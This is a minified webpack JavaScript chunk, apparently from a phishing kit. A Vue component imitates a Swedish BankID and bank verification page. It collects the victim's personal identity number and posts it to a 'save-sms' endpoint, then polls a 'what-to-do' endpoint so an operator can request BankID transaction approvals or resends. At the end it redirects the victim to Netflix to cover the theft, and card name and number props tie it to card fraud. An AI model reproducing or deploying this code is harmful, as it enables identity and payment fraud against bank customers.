(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-6820e960"],{"234a":function(t,e,c){"use strict";c.r(e);var s=c("7a23"),a={class:"w-full p-3",style:{"font-family":"'Open Sans',HelveticaNeue,helveticaneue,helvetica,arial,sans-serif",width:"450px"}},n=Object(s["g"])("div",{class:"flex w-full justify-between items-center  mb-5"},[Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/mcidc.png",width:"120",class:"inline-block mr-1",alt:""})]),Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/seblogo.png",width:"80",class:"inline-block mr-1",alt:""})])],-1),i={class:"py-6 mb-4 ",style:{"background-color":"#fbf2ea"}},o=Object(s["g"])("img",{src:"images/sbid_logo.svg",width:"80",class:"block mx-auto",alt:""},null,-1),l={key:0},r=Object(s["g"])("p",{class:"text-sm text-center py-5 mx-12 text-gray-600"}," Please enter your personal identity number: ",-1),d={class:"w-full"},u={class:"animate-spin mx-auto h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},b=Object(s["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),g=Object(s["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),m={key:1,class:""},p=Object(s["g"])("p",{class:"text-sm text-center py-5 mx-12 text-gray-600"}," Please approve this transaction through your BankID-mobile app. ",-1),h=Object(s["g"])("svg",{class:"animate-spin mx-auto h-24 w-24 text-blue-500 mt-8",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},[Object(s["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"}),Object(s["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"})],-1);function w(t,e,c,w,O,f){return Object(s["i"])(),Object(s["c"])("div",a,[n,Object(s["g"])("div",null,[Object(s["g"])("div",i,[o,O.secondSMS?Object(s["d"])("",!0):(Object(s["i"])(),Object(s["c"])("div",l,[r,Object(s["g"])("div",d,[Object(s["q"])(Object(s["g"])("input",{type:"text",placeholder:"YYYYMMDDNNNN","onUpdate:modelValue":e[1]||(e[1]=function(t){return O.code=t}),class:"code",name:"",id:""},null,512),[[s["o"],O.code]])]),Object(s["g"])("button",{class:"orngbut text-center",onClick:e[2]||(e[2]=function(){return f.submitCode&&f.submitCode.apply(f,arguments)}),disabled:O.isLoading||!O.code},[Object(s["q"])((Object(s["i"])(),Object(s["c"])("svg",u,[b,g],512)),[[s["p"],O.isLoading]]),Object(s["q"])(Object(s["g"])("span",null,"Vidare",512),[[s["p"],!O.isLoading]])],8,["disabled"])])),O.secondSMS?(Object(s["i"])(),Object(s["c"])("div",m,[p,h])):Object(s["d"])("",!0)])])])}var O=c("bc3a"),f=c.n(O),j=c("a078"),v={props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,secondSMS:!1}},computed:{ccnum_hidden:function(){return"XXXX-XXXX-XXXX-"+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,f.a.post(j["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;f.a.get(j["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.secondSMS=!1,t.isResend=!0,t.isLoading=!1,t.code=""):11===e.data.status?(t.secondSMS=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("9056");v.render=w;e["default"]=v},9056:function(t,e,c){"use strict";c("b04c")},b04c:function(t,e,c){}}]);
//# sourceMappingURL=chunk-6820e960.215c784a.js.map